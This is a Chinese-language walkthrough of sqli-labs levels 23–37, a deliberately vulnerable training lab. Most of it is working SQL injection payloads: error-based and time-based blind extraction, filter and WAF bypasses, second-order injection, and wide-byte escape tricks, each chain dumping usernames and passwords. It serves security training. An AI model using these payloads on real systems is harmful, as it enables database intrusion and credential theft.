当前位置: 首页 > news >正文

SQL注入靶场23-37关实战通关攻略

本文将展示sql注入靶场23-37关的通关思路

第二十三关(GET - 报错注入:过滤注释符,用引号闭合)

进入第二十三关发现又回到了GET参数,但是有区别,这关将#和-- qwe等等注释符加入了黑名单,屏蔽掉了。这一关要用其他方法闭合

?id=1' -- qwe

1.尽管被屏蔽了,还是要找注入点,不能通过注释符看哪个闭合成功显示,那就反过来看没有注释符时哪个闭合没成功就报错就行,从' ') " ") 等等进行测试,可以发现单引号时报错,所以注入点是单引号

2.既然注释符被屏蔽,就使用闭合后面的单引号的方法,可以发现可以正常显示

' or '1'='1

3.既然有报错,那就使用报错注入查询数据库,查询到了security库

' and updatexml(1,concat(1,(select database())),1) or '1'='1

4.查询security库,查询到了表名emails,referers,uagents,users

' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1) or '1'='1

5.查询users表里的字段名,查询到了字段名id,username,password

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),1) or '1'='1

6.查询users表里的全部数据,由于updatexml函数的局限性,报错只能输出最多32个字符,使用substr函数可以分段查询数据

' and updatexml(1,concat(1,substr((select group_concat(username,':',password) from users),1,32)),1) or '1'='1

' and updatexml(1,concat(1,substr((select group_concat(username,':',password) from users),33,64)),1) or '1'='1

第二十四关(POST - 二次注入:注册恶意账户,修改密码触发)

第二十四关又转到POST注入,这是一个登录注册和修改密码的代码,这一关需要我们先注册一个恶意账号,登录恶意账号后又可以恶意修改,所以这一关是一个二次注入

登录页面

注册页面

修改页面

1.观察登录页面的sql语句,发现使用mysql_real_escape_string函数对用户密码进行了转义,单引号会被转义成普通字符,所以已知账号admin无法跳过密码验证进行登录

$username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]);

2.在注册页面,观察源码,发现也对单引号进行转义,所以无法通过已知账户创建一个同名账户

$username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']);

3.观察修改密码页面,发现对密码都进行转义,但是用户名没有,直接是从session获取的用户名,所以这是一个注入点

$username= $_SESSION["username"]; --直接从session获取 $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']);

4.观察修改页面的sql语句,发现了是用单引号闭合的,那我们就创建一个单引号闭合的账户admin'#,密码是123456

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

5.使用创建的用户登录,因为用户后面的密码被注释,所以current-pass可以随便填,然后新密码填我们想要的密码,提交后就修改了admin账户的密码了

6.随意修改密码

reset后进行登录,可以发现登录成功了

第二十五关(GET - 报错注入:过滤and/or,双写绕过)

进入第二十五关,映入眼帘的就是大写的or和and,那是不是在说or和and这两个词被屏蔽了

使用and测试时报错,这个错误提示我们sql语句不完整,肯定了and和or被屏蔽了,那就要尝试双写或者使用andor的代替品&&和||

' and 1=1 --+

1.如果使用&&来代替的话,需要使用URL编码%26%26,不然会被判定为参数分隔符

所以直接双写来绕过黑名单,简单方便

1' anandd 1=1 --+

2.先判断注入点,使用单引号'会报错,加入注释符就会正确显示,说明是单引号闭合

3.既然有报错,那就使用报错注入,查询数据库,查询到了security库

' anandd updatexml(1,concat(1,(select database())),1)--+

4.查询security库里的数据表,因为or被屏蔽掉了,information库这个名里有or,所以要双写or

' anandd updatexml(1,concat(1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'security')),1)--+

5.查询users表里的字段名,查询到了字段名id,username,password

' anandd updatexml(1,concat(1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' anandd table_name = 'users')),1)--+

6.查询users表里的全部数据,使用substr函数分段查询

' anandd updatexml(1,concat(1,substr((select group_concat(username,':',passwoorrd) from users),1,32)),1)--+

' anandd updatexml(1,concat(1,substr((select group_concat(username,':',passwoorrd) from users),33,64)),1)--+

第二十五A关(GET - 报错注入:过滤and/or,双写绕过)

第二十五a是第二十五关的姊妹关卡,都是or和and的屏蔽了,只不过有一点区别,可以看出,错误时没有错误显示,所以用不了报错注入

1.注入点也不同,第二十五关是单引号闭合,但是25a在你输入多少个字符都没有任何输出,更倾向于是一个数字型注入,事实也确实如此

2.找到了注入点,判断字段数为3

?id=1 anandd 1=1 oorrder by 3 --+

4.使用联合查询判断回显位置

?id=-1 union select 1,2,3 --+

5.查询数据库名,查询到了security库

?id=-1 union select 1,2,database() --+

6.查询security库里的数据表,查询到了emails,referers,uagents,users表

?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'security' --+

7.查询users表里的字段名

?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security'%20 anandd table_name = 'users'--+

8.查询users表里的全部数据

?id=-1 union select 1,2,group_concat(username,':',password) from users --+

第二十六关(GET - 报错注入:过滤and/or、空格、注释,用%0a等绕过)

进去第二十六关就发现它写着过滤了字符和空格,观察源码,发现过滤了好多,包括注释符,空格和or,and。or和and依旧使用双写绕过,闭合使用' or '1'='1,空格使用括号包围来代替

function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id; }

1.先判断注入点,使用单引号时报错,用 oorr '1'='1闭合后显示正常,说明时单引号闭合的

' oorr '1'='1

2.既然有报错,那么就可以使用报错注入,查询到了数据库security库

'anandd(updatexml(1,concat(1,(select(database())),1))oorr'1'='1
'anandd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users'))),1))oorr'1'='1

3.查询security库里的表,查询表名emails,referers,uagents,users表

'anandd(updatexml(1,concat(1, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))oorr'1'='1

4.查询users表里的字段名,查询到了字段名id,username,password

5.查询users表里的全部数据,使用substr分段读取

'anandd(updatexml(1,concat(1,substr((select(group_concat(username,':',passwoorrd))from(users)),1,32)),1))oorr'1'='1

'anandd(updatexml(1,concat(1,substr((select(group_concat(username,':',passwoorrd))from(users)),33,64)),1))oorr'1'='1

第二十六A关(GET - 时间盲注:过滤and/or、空格、注释,用%0a等绕过)

26a和26关有一点区别,就是没有报错信息了,但是看屏蔽这一块的源码多了一行空格屏蔽?应该是复制粘贴时出错了,因为两行一模一样,既然没有报错,那就使用联合查询

function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id; }

1.先找注入点,发现单引号时有报错,闭合时也显示正常,初步认定是单引号闭合,但是到后续时发现,怎么测试都没有反应,我怀疑是不是闭合出错

?id=1'oorr'1'='1

这关没有报错信息,那就用时间盲注,因为sql注入的每一关都是security库,为了验证,假设已知security库,使用时间盲注测试数据库第一个字母是不是s,发现条件为真时延迟很长

?id=1'anandd(if((substr((select(database())),1,1)='s'),sleep(2),0)) anandd '1'='1

既然单引号闭合失败但是显示会正常,那是不是要考虑是不是有括号闭合,因为如果是括号闭合的话,会先验证括号里有没有出错,也就是先判断'1'or'1'='1'是不是正确的,结果显然是正确的,所以会输出id为1的数据

select username,password from users where id=('1'or'1='1') limit 0,1

当你输入时间盲注时会变成,显然这个只会有延迟,三层判断,当if延迟后会返回0,0是false,所以会id=('1' and 0 and '1'='1')=0,所以不会输出数据,而且延迟非常久,延迟取决于users表里有多少数据,很大程度说明闭合失败

select username,password from users where id=('1'anandd(if((substr((select(database())),1,1)='s'),sleep(2),0)) anandd '1'='1') limit 0,1

以上可以看出,闭合应该是单引号+括号的闭合,即

?id=1') oorr ('1')=('1

2.使用时间盲注查询数据库名,发现延迟正确为1秒,更加说明闭合成功,这时打开burpsuite进行爆破

?id=1')anandd(if((substr((select(database())),1,1)='s'),sleep(1),0))anandd('1')=('1

在sql靶场时间盲注的intruder模块设置都是一样的,所以不清楚设置的同学请看前面的关卡时间盲注的部分

爆破后按时间排序,延迟最大的就是那几个,组合成security

3.查询security库的表

?id=1')anandd(if((substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='s'),sleep(2),0))anandd('1')=('1

爆破后查询出表是emails,referers,uagents,users

4.查询users表里的字段名

?id=1')anandd(if((substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users')),1,1)='s'),sleep(2),0))anandd('1')=('1

爆破后组合字段名为id,username,password

5.查询users表里的全部数据,先查用户名,再查密码

?id=1')anandd(if((substr((select(group_concat(username))from(users)),1,1)='s'),sleep(2),0))anandd('1')=('1

爆破后的数据,将它们组合就行,然后将username改为password就是密码

第二十七关(GET - 报错注入:过滤select/union,大小写绕过)

看进入时的页面,发现给了union和select被禁用的提示词,这是不是说明这一关也是屏蔽词。看源码可以发现,在26关的基础上多了union和select的屏蔽词,但是可以发现就只是限制了一些大小写,与26不同的时少了and和or这类连接词的屏蔽语句,这两个select和union都可以用大小写绕过,其他的与上一关一样

function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union/s',"", $id); //Strip out union $id= preg_replace('/select/s',"", $id); //Strip out select $id= preg_replace('/UNION/s',"", $id); //Strip out UNION $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT $id= preg_replace('/Union/s',"", $id); //Strip out Union $id= preg_replace('/Select/s',"", $id); //Strip out select return $id; }

1.既然注释符被屏蔽,就使用永真句闭合查看注入点,输入?id=1'时报错,同时使用1' or '1'='1闭合时无报错,这是不是说明是单引号闭合的?但是参考26a的闭合,有没有可能是单引号加括号闭合的,试验一下发现会报错,那单引号闭合就对了

1' or '1'='1

1') or ('1')=('1

2.既然有报错,那就使用报错注入,先查询数据库名,使用大小写select绕过,查询出数据库security

1' and (updatexml(1,concat(1,(SELEct(database()))),1))or '1'='1

3.继续查询security库里的数据表,查询出emails,referers,uagents,users表

1' and (updatexml(1,concat(1,(SELEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or '1'='1

4.查询users表里的字段名,查询出id,username,password三个字段名

1' and (updatexml(1,concat(1,(SELEct(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name='users'))),1))or '1'='1

5.查询users表里的全部数据,使用substr函数分段查询

1' and (updatexml(1,concat(1,substr((SELEct(group_concat(username,':',password))from(users)),1,32)),1)) or '1'='1

1' and (updatexml(1,concat(1,substr((SELEct(group_concat(username,':',password))from(users)),33,64)),1)) or '1'='1

第二十七A关(GET - 报错注入:过滤select/union,大小写绕过)

与第二十七关一样,屏蔽都是一样的,只不过就是不给报错信息了 ,解决方法都是一样的

1.先判断是什么闭合的,发现使用双引号时没有显示,使用永真句闭合后有显示信息,初步判断是双引号闭合的,然后再判断有没有括号,使用括号没显示信息,那就是双引号闭合的

1" or "1"="1

1") or ("1")=("1

2.使用%0a代替%00空格(如果使用的是火狐浏览器可能会失效,建议使用google),然后查询字段数

"%0aORDER%0aBY%0a1%0aor"1"="1 "%0aORDER%0aBY%0a2%0aor"1"="1 "%0aORDER%0aBY%0a3%0aor"1"="1 "%0aORDER%0aBY%0a4%0aor"1"="1 -->报错,说明字段数是3

3.找出字段数是3,使用联合查询来找出查看回显位置,由于-被屏蔽掉,所以使用超级大的数来让数据库查不到数据

100"%0aUNIOn%0aSELEct%0a1,2,3%0aor"1"="1

4.查询数据库名

100"%0aUNIOn%0aSELEct%0a1,database(),3%0aor"1"="1

5.查询security库里的表,查到出emails,referers,uagents,users表

100"%0aUNIOn%0aSELEct%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'%0aorder%0aby%0a3%0aor%0a"1"="1

6.查询user表里的字段名,查询出id,username,password三个字段名

100"%0aUNIOn%0aSELEct%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=%27security%27%0aand%0atable_name=%27users%27%0aorder%0aby%0a3%0aor%0a"1"="1

7.查询users表里的数据

100"%0aUNIOn%0aSELEct%0a1,2,group_concat(username,%27:%27,password)%0afrom%0ausers%0aorder%0aby%0a3%0aor%0a"1"="1

第二十八关(GET - 联合查询:过滤union select组合,双写加特殊字符绕过)

进入28关,看到了与27关相像的提示词,就是union和select被屏蔽了,观察源码可以发现,这个与27不同的是,union select后面有个/i,说明大小写也被过滤了,所以可以尝试双写绕过,其他的与上一关一样,空格使用%0a,注释符使用永真式

function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. //$id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT. return $id; }

1.先找闭合,通过永真式闭合来验证,使用单引号时有报错,然后使用1' or '1'='1时显示数据,初步认为是单引号,再验证单引号加括号能不能显示,发现也能够显示,说明闭合方式是单引号加括号

1') or ('1')=('1

2.先查询字段数

"%0aORDER%0aBY%0a1%0aor"1"="1 "%0aORDER%0aBY%0a2%0aor"1"="1 "%0aORDER%0aBY%0a3%0aor"1"="1 "%0aORDER%0aBY%0a4%0aor"1"="1 -->报错,说明字段数是3

3.使用双写union+select绕过来判断回显位置

100')%0aunionunion%0aselect%0aselect%0a1,2,3%0aor%0a('1')=('1

4.查询数据库,数据库名是security

100')%0aunionunion%0aselect%0aselect%0a1,database(),2%0aor%0a('1')=('1

5.查询security库里的数据表,查询到了emails,referers,uagents,users表

100')%0aunionunion%0aselect%0aselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'%0aorder%0aby%0a3%0aor%0a('1')=('1

6.查询users表里的字段名,查询到了id,username,password

100')%0aunionunion%0aselect%0aselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'%0aorder%0aby%0a3%0aor%0a('1')=('1

7.查询users表里的全部数据

100')%0aunionunion%0aselect%0aselect%0a1,2,group_concat(username,':',password)%0afrom%0ausers%0aorder%0aby%0a3%0aor%0a('1')=('1

第二十八A关(GET - 联合查询:过滤union select组合,双写加特殊字符绕过)

进入第28a关,看到页面上大大的提示词,only union and select,这是不是说明只有过滤这个union select,观察源码,发现就给union select进行过滤,这就好简单了,甚至跟前面1-10关的没区别,只是双写union select就行,参考第28关,然后闭合使用注释符,注入点是')

function blacklist($id) { //$id= preg_replace('/[\/\*]/',"", $id); //strip out /* //$id= preg_replace('/[--]/',"", $id); //Strip out --. //$id= preg_replace('/[#]/',"", $id); //Strip out #. //$id= preg_replace('/[ +]/',"", $id); //Strip out spaces. //$id= preg_replace('/select/m',"", $id); //Strip out spaces. //$id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces. return $id; }

第二十九关(GET - 联合查询:参数污染,WAF绕过)

在通关第29关的时候,发现与sqllab第一关一模一样,甚至比如第二关的难度,这是不是说明这关的环境配置出错了,并没有提示词说的世界上最好的防火墙

可以使用JSPstudy

jspstudy下载连接:Windows版phpstudy下载 - 小皮面板(phpstudy)

或者直接使用安装好的tomcat,我这边使用安装好的tomcat

在sqli-lab页面下有个tomcat-file.zip的压缩包,解压到tomcat文件下的webapps,最后在webapps/sqli-labs/less-29/index.jsp下,输入phpstudy的地址

string url="http://localhost/sqli-labs/less-29";

最后看页面显示正常,接下来29-32关都需要tomcat,注意要使用tomcat占用的端口号

http://localhost:8080/sqli-labs/less-29/index.jsp?id=1

现在在第29关的根目录下直接访问id=1的,会发现跳到了hacked.jsp

http://localhost:8080/sqli-labs/less-29/?id=1

1.使用HTTP参数污染(HPP),就是使用两个id参数来骗过服务器,WAF会校验第一个id参数,而apache会校验最后一个id参数,我们就可以使用两个id,只对最后一个id进行注入

先查找注入点,使用最基础的从单引号到双引号加括号,使用注释符--+,最后得出使用单引号时报错,注释后显示数据,说明注入点是单引号

index.jsp?id=1&id=1'--+

2.查找字段数

index.jsp?id=1&id=1'order by 1--+ index.jsp?id=1&id=1'order by 2--+ index.jsp?id=1&id=1'order by 3--+ index.jsp?id=1&id=1'order by 4--+ -->报错,说明字段数为3

3.查询回显位置

index.jsp?id=1&id=-1' union select 1,2,3--+

4.查询数据库,查询到数据库名security

index.jsp?id=1&id=-1' union select 1,2,database()--+

5.查询security库里的数据表,查询出emails,referers,uagents,users表

index.jsp?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

6.查询users表里的字段名

index.jsp?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

7.查询users表里的所有数据

index.jsp?id=1&id=-1' union select 1,2,group_concat(username,':',password) from users--+

第三十关(GET - 联合查询:参数污染,双引号闭合)

第三十关与第二十九只是闭合方式不同,30是双引号闭合,29是单引号闭合,只不过30没有报错信息,但是显示数据,用不到报错注入,所以按29关的方法可以搞定

第三十一关(GET - 联合查询:参数污染,双引号加括号闭合)

闭合方式不同,这一关是")闭合,可以使用报错注入

第三十二关(GET - 联合查询:宽字节注入,逃逸转义符)

32关又回到了最熟悉的get传参,这一关不用使用两个参数来绕过前端WAF,输入发现,这一关将单引号进行转义,变成\'了,也就是%5c%27,在mysql中汉字是占两个字节的,我们可以在输入id=1的时候在后面补充一个字节,让这个字节和反斜杠\%5c组成一个汉字,比如我们输入%df%5c就会变成一个汉字'',这就是宽字节注入

1.既然有方法,那就先来判断闭合类型,使用单引号有报错,再注释后面发现显示正常,说明闭合类型是单引号

?id=1%df' 就变成 ?id=1%df%5c'

2.查询字段数

?id=1%df' order by 1 --+ ?id=1%df' order by 2 --+ ?id=1%df' order by 3 --+ ?id=1%df' order by 4 --+ -->报错,说明字段数为3

4.查询回显位置

?id=-1%df' union select 1,2,3 --+

5.查询数据库名,数据库名为security

?id=-1%df' union select 1,2,database() --+

6.查询security库里数据表,既然单引号会被转义,再使用%df会让'security'被污染,所以用security的十六位进制值0x7365637572697479来表示

?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+

7.查询users表里的字段名,同样使用users的十六位进制值0x7573657273来表示users

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273--+

8.查询users表里的全部数据

?id=-1%df' union select 1,2,group_concat(username,password) from users --+

第三十三关(GET - 联合查询:宽字节注入,原理同Less-32)

第33与第32关一模一样,直接按32关走就行

第三十四关(POST - 联合查询:宽字节注入,POST版)

34关又回到了这个POST传参,与前两关相同的是,还是对单引号进行转义成\',所以还是使用宽字节注入,但是与前两关不同的是,POST参数的处理方式与GET参数不同,它会将%传为普通字符编码为%25再输出,所以%df\会被转义成%25df%5c,%df被破坏了,所以要用Burpsuite抓包来进行宽字节注入,不能用浏览器来注入

1.先找闭合类型,使用'/"/')/")不断尝试,使用burp抓包输入后的包,然后发送到repeater模块,修改uname,重新发包,可以看到成功显示数据了,使用单引号时报错,闭合后显示数据,说明注入点是单引号。

1%df' or 1=1#

2.查看字段数

1%df' order by 1# 1%df' order by 2# 1%df' order by 3# --> 报错,说明字段数为2

3.查询回显位置

1' union select 1,2#

4.查询数据库名

1%df' union select 1,database()#

5.查询security库里的数据表

1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479#

6.查询users表里的字段名

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273#

7.查询全部数据

1%df' union select 1,group_concat(username,password) from users#

第三十五关(GET - 联合查询:宽字节注入,数字型)

35关也是宽字节注入,但是这一关连宽字节都不要,直接就是一个数字型注入,跟sql第二关一模一样,单引号转义了个寂寞,也就数据库表啥的单引号会被转义,但是像32,33一样用十六进制值就行

第三十六关(GET - 联合查询:宽字节注入,原理同Less-32)

第36关也是对单引号进行转义\',与32,33没什么区别,都是单引号闭合

第三十七关(POST - 联合查询:宽字节注入,POST版,原理同Less-34)

第37和34关都是POST参数的单引号转义,解题方法一样都是在burp上修改参数而不是在表单提交上,可以完全照抄34关

http://www.jsqmd.com/news/689154/

相关文章:

  • 2026年最火的工程范式:Harness Engineering指南与应用
  • Elasticsearch分布式原理:集群数据分布机制与分片路由全流程深度剖析
  • 北京良友伟业搬家|同城/异地/日式搬家全场景服务及靠谱公司推 - 海棠依旧大
  • 5个关键问题:如何用Klipper固件解决3D打印精度与性能难题
  • 2026帮孩子选辅导班前,实测6款学习APP的真实体验 - 品牌测评鉴赏家
  • 从FHSS到OFDMA:Wi-Fi协议演进中的核心技术变革
  • 别再傻傻分不清了!一张图看懂PLM、ERP、MES、CRM在工厂里到底怎么分工协作
  • Linux文件系统(一):从磁盘结构到文件系统基础
  • STM32F103C8T6 PWM引脚-定时器-通道对照表
  • 在线语音转文字支持哪些格式?上传前检查与压缩建议全解析
  • Perfetto UI分析Native内存:看懂四个关键视图,揪出Android应用里的“隐形”泄漏点
  • 使用archlinux搭建arm开发环境(非linux)
  • Ofd2Pdf终极指南:3步实现OFD到PDF高效无损转换
  • Harness Engineering:AI Agent 落地企业的工程化核心
  • 从malloc到memsafe_c:2026规范强制要求的4类API替换清单,不改业务逻辑也能通过ISO/IEC 17961合规审计
  • Java:捕获特定异常
  • 思源宋体完全指南:7字重免费开源中文字体终极教程
  • 当AI学会“挖洞”:从Mythos到360漏洞挖掘智能体,网
  • 从AK4490到ES9038:聊聊那些年我们用过的DAC芯片,以及它们背后的声音故事
  • 固本强基:国内网络变压器行业格局与技术演进分析(2026)
  • 安全编程实践常见漏洞与防范措施
  • TwinCAT ADS通信故障排查实战:从网卡IP到防火墙,手把手教你定位并解决‘无法扫描’问题
  • 抖音批量下载器终极指南:3步实现无水印批量下载
  • 【WPF】巧用BitmapCacheOption.OnLoad释放图像文件句柄,解决资源锁定与程序崩溃难题
  • CANoe Trace窗口保姆级指南:从报文查看、过滤到数据导出的完整操作流程
  • CRM系统怎么接入企业信息API?4步详解
  • 如何用开源抖音下载器3分钟搞定批量下载:告别繁琐操作
  • DevSecOps国产化崛起:安全左移时代的技术竞速与生态重构
  • 3分钟搞定桌面股票监控:TrafficMonitor插件终极指南
  • Cursor 官宣AI新玩具:Canvas